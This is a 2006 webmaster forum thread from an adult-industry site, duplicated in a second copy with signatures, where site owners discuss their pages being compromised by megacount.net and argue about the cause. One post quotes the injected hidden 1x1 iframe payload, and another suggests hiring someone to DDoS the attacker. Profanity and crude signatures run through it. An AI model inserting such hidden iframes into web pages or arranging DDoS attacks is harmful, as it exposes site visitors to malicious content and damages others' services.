HACKED! by megacount.net - GoFuckYourself.com

escorpio · 10-04-2006, 08:42 AM

Anybody else having a problem with this russian motherfucker?

Martin3 · 10-04-2006, 08:44 AM

yeah, was a recent thread in another forum with the same site

dissipate · 10-04-2006, 08:49 AM

Most adult servers lack even basic security measures. It's like shooting fish in a barrel.

SinSational · 10-04-2006, 08:50 AM

http://www.gfy.com/fucking-around-and-business-discussion/660506-getting-hacked-2.html

http://www.gofuckyourself.com/showthread.php?t=661811

Georgio · 10-04-2006, 08:51 AM

Quote:

Originally Posted by dissipate

Most adult servers lack even basic security measures. It's like shooting fish in a barrel.

Yeah I know what u mean....

escorpio · 10-04-2006, 08:51 AM

Quote:

Originally Posted by dissipate

Most adult servers lack even basic security measures. It's like shooting fish in a barrel.

I've found that out the hard way this past week.

Verbal · 10-04-2006, 08:53 AM

Do you use Webair?

boldy · 10-04-2006, 08:56 AM

One of my servers got it too ..

escorpio · 10-04-2006, 08:58 AM

Quote:

Originally Posted by Verbal

Do you use Webair?

Yes, webair virtual.

escorpio · 10-04-2006, 08:59 AM

Quote:

Originally Posted by SinSational

http://www.gfy.com/fucking-around-and-business-discussion/660506-getting-hacked-2.html

http://www.gofuckyourself.com/showthread.php?t=661811

thank you

killerkay · 10-04-2006, 09:01 AM

damn sucks man

killerkay · 10-04-2006, 09:01 AM

double post er

Verbal · 10-04-2006, 09:03 AM

Quote:

Originally Posted by escorpio

Yes, webair virtual.

I've been going back and forth with them and they want me to update ALL of the scripts for my sites ... a list about a mile long.

I'm seriously considering switching hosts. There must be something they can or do. The damn thing keeps coming back everyday. First it was uniqcount

Klen · 10-04-2006, 09:08 AM

Try dwhs,they update their servers same moment when exploit or some holle goes out.

escorpio · 10-04-2006, 09:10 AM

Quote:

Originally Posted by Verbal

I've been going back and forth with them and they want me to update ALL of the scripts for my sites ... a list about a mile long.

I'm seriously considering switching hosts. There must be something they can or do. The damn thing keeps coming back everyday. First it was uniqcount

Same story here. I'm switching now and it's going to be a big fucking pain in the ass.

Devilporn · 10-04-2006, 09:24 AM

Does someone know if it has anything to do with Wordpress?

Gillespie · 10-04-2006, 09:31 AM

How are they getting in? Please post your /var/log/messages

boldy · 10-04-2006, 10:12 AM

For me they just walked in using a ssh account. No failures or anything, 1 guess and they were in. I passed this account to 1 person only. I'll investigate more before i start drama

emthree · 10-04-2006, 03:52 PM

Drama time. I ALSO HAVE BEEN "HACKED" by megacount.net
It's on a webair virtual account. I ONLY RECENTLY installed wordpress onto this domain, less than a week ago.

emthree · 10-04-2006, 03:53 PM

Someone get webair in here.

madawgz · 10-04-2006, 03:53 PM

hire someone to ddos him...2c

not me ;)

Devilporn · 10-04-2006, 03:54 PM

Quote:

Originally Posted by emthree

Someone get webair in here.

Contact them directly, you'll have better results

emthree · 10-04-2006, 03:54 PM

Question to the people who got hacked: Do you guys have ABP installed?

Dveron · 10-04-2006, 03:55 PM

Sounds like Webair need to update their shit

emthree · 10-04-2006, 03:56 PM

Quote:

Originally Posted by Devilporn

Contact them directly, you'll have better results

Not really. I've seen the chat log with RobV.
This is something effecting a lot of their customers. They need to address it publicly.

JOHNNY_BUTTHOLES · 10-04-2006, 03:59 PM

it's all over my sites. two wordpress blogs i noticed first. but then i noticed it on regular sites with no scripts.

i'm on realitychecknetworks NOT webair.

Devilporn · 10-04-2006, 04:00 PM

Quote:

Originally Posted by emthree

Not really. I've seen the chat log with RobV.
This is something effecting a lot of their customers. They need to address it publicly.

You still have nothing to lose contacting them directly to take care of your own case...that's what we did today to get our own tgps fixed.

emthree · 10-04-2006, 04:03 PM

This is pretty crazy. Does this mean the person has full access to our ftp files?
My sites are setup to use phpinclude to attatch the footer(s) onto my pages. This person found both my footer .html files and inserted the code into both. WTF?

I was going to upgrade to a webair dedicated for these sites too. I guess I have to look elsewhere now.

emthree · 10-04-2006, 04:05 PM

PHP Code:


			
<iframe src='http://megacount.net/adv/new.php?adv=167' width=1 height=1></iframe> 

<iframe src='http://megacount.net/adv/167/new.php' width=1 height=1></iframe>

Superterrorizer · 10-04-2006, 04:05 PM

Quote:

Originally Posted by Verbal

I've been going back and forth with them and they want me to update ALL of the scripts for my sites ... a list about a mile long.

I'm seriously considering switching hosts. There must be something they can or do. The damn thing keeps coming back everyday. First it was uniqcount

You are going to switch hosts because you didn't keep your scripts up to date and your out dated insecure scripts are being exploited? Unless that service is part of your contract or SLA it's YOUR responsibility to keep your scripts up to date, not your hosts.

While many potential security threats both known and unknown can be blocked, many cannot. If your server gets hacked via an exploit in the OS or an application (apache, php, mysql, etc) then it's your hosts fault (Unless you are unmanaged/colo). If one of your sites gets hacked/defaced due to you not keeping your scripts up to date, it's your fault.

Switching hosts isn't going to magically update all your scripts and fix your security problems.

JOHNNY_BUTTHOLES · 10-04-2006, 04:10 PM

Quote:

Originally Posted by Superterrorizer

You are going to switch hosts because you didn't keep your scripts up to date and your out dated insecure scripts are being exploited? Unless that service is part of your contract or SLA it's YOUR responsibility to keep your scripts up to date, not your hosts.

While many potential security threats both known and unknown can be blocked, many cannot. If your server gets hacked via an exploit in the OS or an application (apache, php, mysql, etc) then it's your hosts fault (Unless you are unmanaged/colo). If one of your sites gets hacked/defaced due to you not keeping your scripts up to date, it's your fault.

Switching hosts isn't going to magically update all your scripts and fix your security problems.

this thing hit two of my wordpress sites that are running the very latest version. the other sites are not running any scripts. it attached itself to a regular footer that spanned by site.

emthree · 10-04-2006, 04:12 PM

Quote:

Originally Posted by Superterrorizer

You are going to switch hosts because you didn't keep your scripts up to date and your out dated insecure scripts are being exploited? Unless that service is part of your contract or SLA it's YOUR responsibility to keep your scripts up to date, not your hosts.

While many potential security threats both known and unknown can be blocked, many cannot. If your server gets hacked via an exploit in the OS or an application (apache, php, mysql, etc) then it's your hosts fault (Unless you are unmanaged/colo). If one of your sites gets hacked/defaced due to you not keeping your scripts up to date, it's your fault.

Switching hosts isn't going to magically update all your scripts and fix your security problems.

I agree with you. However I believe the problem is webair itself.
I only added wordpress onto this site less than a week ago. It is using the latest version of WP and it was installed in a SUBFolder. My SUBFolders with wp were not compromised, it was my site's index.

emthree · 10-04-2006, 04:13 PM

Question: are you guys running google analytics?
It inserted itself right below my analytics code.

JOHNNY_BUTTHOLES · 10-04-2006, 04:19 PM

Quote:

Originally Posted by emthree

Question: are you guys running google analytics?
It inserted itself right below my analytics code.

nope. this thing is installing itself on regular PHP files.

HunkyLuke · 10-04-2006, 04:22 PM

Quote:

Originally Posted by escorpio

Same story here. I'm switching now and it's going to be a big fucking pain in the ass.

switching hosts does NOT have to be painful as long as your new host is knowledgeable and is willing to help you out. Generally speaking, we set aside 1 full day to help clients by doing content moves, re-jigging scripts/htaccess files/etc with new path info, setting up and importing databases, recreating mail accounts, etc...

good luck with your new choice, whoever they may be!

cheers,
Luke

bigalownz · 10-04-2006, 07:09 PM

i got the same problem on one of my other sites

its with revsharehosting and i got nothing on the site at all

just a blank page

marketsmart · 10-04-2006, 07:12 PM

webair should be protecting you, unless its software you use on your site thats not owned by webair

emthree · 10-04-2006, 10:56 PM

BUMP - Did anyone contact wordpress?

emthree · 10-04-2006, 11:04 PM

Quote:

Originally Posted by bigalownz

i got the same problem on one of my other sites

its with revsharehosting and i got nothing on the site at all

just a blank page

Did/do you have wordpress installed on that site?

JOHNNY_BUTTHOLES · 10-04-2006, 11:55 PM

Quote:

Originally Posted by emthree

Did/do you have wordpress installed on that site?

you have to go though every one of your files and look for the iframe code. delete it and change the permissions to read only. i had to do this with every one of my sites today

DateDoc · 10-05-2006, 12:04 AM

not just a wordpress issue: http://www.gfy.com/fucking-around-and-business-discussion/662468-martina-warren-trojan-site.html

RobV · 10-05-2006, 12:40 AM

Quote:

Originally Posted by emthree

Not really. I've seen the chat log with RobV.
This is something effecting a lot of their customers. They need to address it publicly.

Webair and I are still bouncing emails. They haven't notified me of anything changed or any issues they see with my site.

The most recent email I recieved from them just said:
########## Begin Message ##########

Are you sure ALL version of wordpress were updated BEFORE this last occured. Even if 1 site was running an older copy, other sites could have easily been modified since they're on the same account. Please advise.

Thanks,

And for the ........blah time I just had to answer, YES.

Ill keep anyone who is interested updated.

emthree · 10-05-2006, 01:32 AM

I spoke to them earlier. Since i've ONLY been running the newest version of WP on that virtual account, they say it must be an unpatched hole. We need to take it up with WP.

Gillespie · 10-05-2006, 02:36 AM

Are you absolutely sure that they're getting in through WP? I've looked at their forums and didn't see a single hacked thread in the first two pages.

JOHNNY_BUTTHOLES · 10-05-2006, 02:42 AM

Quote:

Originally Posted by emthree

I spoke to them earlier. Since i've ONLY been running the newest version of WP on that virtual account, they say it must be an unpatched hole. We need to take it up with WP.

have you gone through all of your template files to see if the iframe code is on there?

emthree · 10-05-2006, 02:42 AM

Quote:

Originally Posted by Gillespie

Are you absolutely sure that they're getting in through WP? I've looked at their forums and didn't see a single hacked thread in the first two pages.

That's the same thing I said to the tech. I checked the forums and google before I contacted them. He insists that it's a WP Hole. He says it shows nothing on my logs. I dont know who to believe.

Gillespie · 10-05-2006, 02:44 AM

Do you have access to your /var/log/messages file?

emthree · 10-05-2006, 02:44 AM

Quote:

Originally Posted by JOHNNY_BUTTHOLES

have you gone through all of your template files to see if the iframe code is on there?

Yes, it was inserted into both of my footer files.
bottom1.html and bottom2.html

RevSand · 10-05-2006, 02:45 AM

This does not seem to be a webair OR wordpress issue since I also have been hit and do not use either...

chaze · 10-05-2006, 02:47 AM

There is several ways a account can be hacked, If it's web air then other accounts would be hacked and the server would be taken offline. Once a server is hacked from root it's toast.

They couldn't risk running it if it was the server.

Most likly some php somewhere on your site, maybe even with your pasword.

I would love to tell you otherwise and to switch over to us but php is a hackers playground and has to be carefully watched.

On the other hand there is additional security to detour hackers like removing telnet and trace route whois details. Makeing apache look like it's not running from a basic ping and ect.. brute force protection might help too..

10-04-2006, 08:42 AM	#1
escorpio I love to racism, bro! Industry Role: Join Date: Oct 2002 Location: USA! USA! USA! Posts: 22,823	HACKED! by megacount.net Anybody else having a problem with this russian motherfucker? __________________ Unvaxxed, still alive.

10-04-2006, 08:44 AM	#2
Martin3 Confirmed User Join Date: Oct 2005 Location: Houston Posts: 1,529	yeah, was a recent thread in another forum with the same site __________________ 264-543-302

10-04-2006, 08:50 AM	#4
SinSational Confirmed User Join Date: Oct 2004 Location: Boston, MA Posts: 1,723	http://www.gfy.com/fucking-around-and-business-discussion/660506-getting-hacked-2.html http://www.gofuckyourself.com/showthread.php?t=661811 __________________ ICQ# 273099174 - monthly specials - 2 Month Free Credit on All Plans - 100% Referrals - chris@ for details Virtual from $14.95/month, Dedicated from $149.95/month Dual-Core Xeon > 1000GB @ $149.95 \| 1500GB @ $169.95 \| 10Mbps @ $269.95

10-04-2006, 08:56 AM	#8
boldy Macdaddy coder Industry Role: Join Date: Feb 2002 Location: MacDaddy pimp coder Posts: 2,806	One of my servers got it too .. __________________ MacDaddy Coder.

10-04-2006, 09:01 AM	#11
killerkay Confirmed User Join Date: Mar 2005 Location: amish paradise Posts: 1,482	damn sucks man __________________ $$$ UP TO 5$ PER FREE SIGNUP! $$$

10-04-2006, 08:49 AM	#3
dissipate The Dirty Frenchman Industry Role: Join Date: Nov 2005 Location: Lost Angeles Posts: 8,904	Most adult servers lack even basic security measures. It's like shooting fish in a barrel.

10-04-2006, 08:53 AM	#7
Verbal Confirmed User Join Date: Dec 2001 Location: Tampa, FL Posts: 3,420	Do you use Webair?

10-04-2006, 09:01 AM	#12
killerkay Confirmed User Join Date: Mar 2005 Location: amish paradise Posts: 1,482	double post er __________________ $$$ UP TO 5$ PER FREE SIGNUP! $$$

10-04-2006, 09:08 AM	#14
Klen Industry Role: Join Date: Aug 2006 Location: Little Vienna Posts: 32,235	Try dwhs,they update their servers same moment when exploit or some holle goes out.

10-04-2006, 09:24 AM	#16
Devilporn Confirmed User Join Date: Apr 2004 Location: Montreal , Quebec Posts: 676	Does someone know if it has anything to do with Wordpress? __________________ TASTY DOLLARS Solo Girls \| Hardcore Teens \| Milfs Need a good upsell for your members area? Check our TastyFreeFeeds Contact me: ICQ: 323729438 \| E-mail: hubert at tastydollars.com

10-04-2006, 09:31 AM	#17
Gillespie Confirmed User Join Date: Aug 2006 Location: Montevideo Posts: 1,391	How are they getting in? Please post your /var/log/messages __________________ Blue Design Studios My choice for web design. Click this to see why. Get a REAL host. Try JaguarPC. 294-659-259

10-04-2006, 10:12 AM	#18
boldy Macdaddy coder Industry Role: Join Date: Feb 2002 Location: MacDaddy pimp coder Posts: 2,806	For me they just walked in using a ssh account. No failures or anything, 1 guess and they were in. I passed this account to 1 person only. I'll investigate more before i start drama __________________ MacDaddy Coder.

10-04-2006, 03:52 PM	#19
emthree Dialer Kingpin Join Date: Jun 2003 Location: New York Posts: 10,816	Drama time. I ALSO HAVE BEEN "HACKED" by megacount.net It's on a webair virtual account. I ONLY RECENTLY installed wordpress onto this domain, less than a week ago. __________________ • Sell Patches & Pills •

10-04-2006, 03:53 PM	#20
emthree Dialer Kingpin Join Date: Jun 2003 Location: New York Posts: 10,816	Someone get webair in here. __________________ • Sell Patches & Pills •

10-04-2006, 03:53 PM	#21
madawgz 8.8.8.8 Industry Role: Join Date: Mar 2006 Location: Noordermarkt Posts: 30,509	hire someone to ddos him...2c not me ;) __________________ TAEMDLRMSKRJIXMRLSMRJ.

10-04-2006, 03:54 PM	#23
emthree Dialer Kingpin Join Date: Jun 2003 Location: New York Posts: 10,816	Question to the people who got hacked: Do you guys have ABP installed? __________________ • Sell Patches & Pills •

10-04-2006, 03:55 PM	#24
Dveron Confirmed User Join Date: Dec 2002 Location: Vancouver Posts: 2,794	Sounds like Webair need to update their shit __________________ Adult Comics Club - Updated Bi-Daily. 60% Recurring Payouts. Exclusive Comic Content.

10-04-2006, 03:59 PM	#26
JOHNNY_BUTTHOLES Confirmed User Join Date: Jun 2006 Posts: 146	it's all over my sites. two wordpress blogs i noticed first. but then i noticed it on regular sites with no scripts. i'm on realitychecknetworks NOT webair. __________________

10-04-2006, 04:03 PM	#28
emthree Dialer Kingpin Join Date: Jun 2003 Location: New York Posts: 10,816	This is pretty crazy. Does this mean the person has full access to our ftp files? My sites are setup to use phpinclude to attatch the footer(s) onto my pages. This person found both my footer .html files and inserted the code into both. WTF? I was going to upgrade to a webair dedicated for these sites too. I guess I have to look elsewhere now. __________________ • Sell Patches & Pills •

10-04-2006, 04:05 PM	#29
emthree Dialer Kingpin Join Date: Jun 2003 Location: New York Posts: 10,816	PHP Code: `<iframe src='http://megacount.net/adv/new.php?adv=167' width=1 height=1></iframe> <iframe src='http://megacount.net/adv/167/new.php' width=1 height=1></iframe>` __________________ • Sell Patches & Pills •

10-04-2006, 04:13 PM	#33
emthree Dialer Kingpin Join Date: Jun 2003 Location: New York Posts: 10,816	Question: are you guys running google analytics? It inserted itself right below my analytics code. __________________ • Sell Patches & Pills •

10-04-2006, 07:09 PM	#36
bigalownz Confirmed User Industry Role: Join Date: Aug 2005 Location: NEW ZEALAND Posts: 1,654	i got the same problem on one of my other sites its with revsharehosting and i got nothing on the site at all just a blank page __________________ $100 free credit for all hosting needs

10-04-2006, 07:12 PM	#37
marketsmart HOMICIDAL TROLL KILLER Industry Role: Join Date: Dec 2004 Location: Sunnybrook Institution for the Criminally Insane Posts: 20,419	webair should be protecting you, unless its software you use on your site thats not owned by webair

10-04-2006, 10:56 PM	#38
emthree Dialer Kingpin Join Date: Jun 2003 Location: New York Posts: 10,816	BUMP - Did anyone contact wordpress? __________________ • Sell Patches & Pills •

10-05-2006, 12:04 AM	#41
DateDoc Outside looking in. Industry Role: Join Date: Feb 2005 Location: To Hell You Ride Posts: 14,243	not just a wordpress issue: http://www.gfy.com/fucking-around-and-business-discussion/662468-martina-warren-trojan-site.html __________________

10-05-2006, 01:32 AM	#43
emthree Dialer Kingpin Join Date: Jun 2003 Location: New York Posts: 10,816	I spoke to them earlier. Since i've ONLY been running the newest version of WP on that virtual account, they say it must be an unpatched hole. We need to take it up with WP. __________________ • Sell Patches & Pills •

10-05-2006, 02:36 AM	#44
Gillespie Confirmed User Join Date: Aug 2006 Location: Montevideo Posts: 1,391	Are you absolutely sure that they're getting in through WP? I've looked at their forums and didn't see a single hacked thread in the first two pages. __________________ Blue Design Studios My choice for web design. Click this to see why. Get a REAL host. Try JaguarPC. 294-659-259

10-05-2006, 02:44 AM	#47
Gillespie Confirmed User Join Date: Aug 2006 Location: Montevideo Posts: 1,391	Do you have access to your /var/log/messages file? __________________ Blue Design Studios My choice for web design. Click this to see why. Get a REAL host. Try JaguarPC. 294-659-259

10-05-2006, 02:45 AM	#49
RevSand Confirmed User Industry Role: Join Date: Oct 2003 Location: Porn Valley Posts: 8,151	This does not seem to be a webair OR wordpress issue since I also have been hit and do not use either... __________________ BadBitchesGoodWeed Hire me for all your video shooting needs!! Skype = RevSandx

10-05-2006, 02:47 AM	#50
chaze Confirmed User Industry Role: Join Date: Aug 2002 Posts: 9,752	There is several ways a account can be hacked, If it's web air then other accounts would be hacked and the server would be taken offline. Once a server is hacked from root it's toast. They couldn't risk running it if it was the server. Most likly some php somewhere on your site, maybe even with your pasword. I would love to tell you otherwise and to switch over to us but php is a hackers playground and has to be carefully watched. On the other hand there is additional security to detour hackers like removing telnet and trace route whois details. Makeing apache look like it's not running from a basic ping and ect.. brute force protection might help too..